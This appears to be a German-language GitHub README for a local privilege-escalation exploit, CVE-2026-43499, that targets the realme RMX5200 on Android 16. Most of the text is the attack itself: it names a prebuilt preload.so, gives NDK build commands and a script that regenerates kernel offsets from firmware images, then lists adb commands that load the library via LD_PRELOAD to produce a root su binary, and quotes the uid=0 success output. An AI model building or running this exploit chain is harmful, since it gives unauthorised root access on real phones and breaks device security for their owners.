sorrow404null/cve-2026-43499-rmx5200Android 16 lokaler Privilegieneskalations-Exploit für realme RMX5200 unter Verwendung der LD_PRELOAD-basierten preload.so-Kette, um temporären Root-Zugriff über CVE-2026-43499 zu erreichen.
CVE-2026-43499 lokale Privilegieneskalation SO für:
| Element | Wert |
|---|---|
| Gerät | realme RMX5200 / RE6030L1 |
| Android | 16 |
| Kernel | 6.12.23-android16-5-gb2a876903b49-ab14541642-4k |
| Fingerprint | realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys |
Vorgefertigte Binärdatei: bin/preload.so
Dieses Repository enthält nur den SO-Build-Baum (Quellen + Offsets + vorgefertigt). Kein Browser-Harness, keine Firmware-Dumps, kein Test-Gerüst.
Basiert auf der öffentlichen IonStack-/Popsicle-artigen Kette; Offsets wurden aus den boot.img + xbl_config.img dieses Geräts neu generiert.
.
├── bin/preload.so # prebuilt aarch64 shared object (verified)
├── generate_target.py # optional: regenerate target.h from boot+xbl
├── source/
│ ├── Makefile
│ └── src/
│ ├── target.h # RMX5200 offsets
│ ├── main.c preload.c slide.c ...
│ └── kernelsnitch/
└── README.md
Anforderungen:
llvm-objdump (nur beim Neugenerieren von target.h)# Linux NDK example
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload
# Windows NDK example
make -C source clean preload \
NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"
Ausgabe:
source/build/bin/preload.so
cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"
$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
src/su_daemon.c -o build/embed/su_daemon_aarch64_pie
$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
-DTARGET_CONFIG_H=\"target.h\" \
src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
src/preload.c src/su_blob.S \
-shared -o build/bin/preload.so -pthread
Benötigt passende Firmware-Images (hier nicht enthalten):
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
--llvm-objdump llvm-objdump \
-o source/src/target.h
adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
Laden Sie diese preload.so über einen Firefox-151 lonStack-artigen Host (z.B. Rootme-Geräteeintrag). Nicht in diesem Repository enthalten.
Erfolgsmarkierungen:
slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...
uid=0(root) gid=0(root) ... context=kernel
target.h / Neubau.preload.so-Kette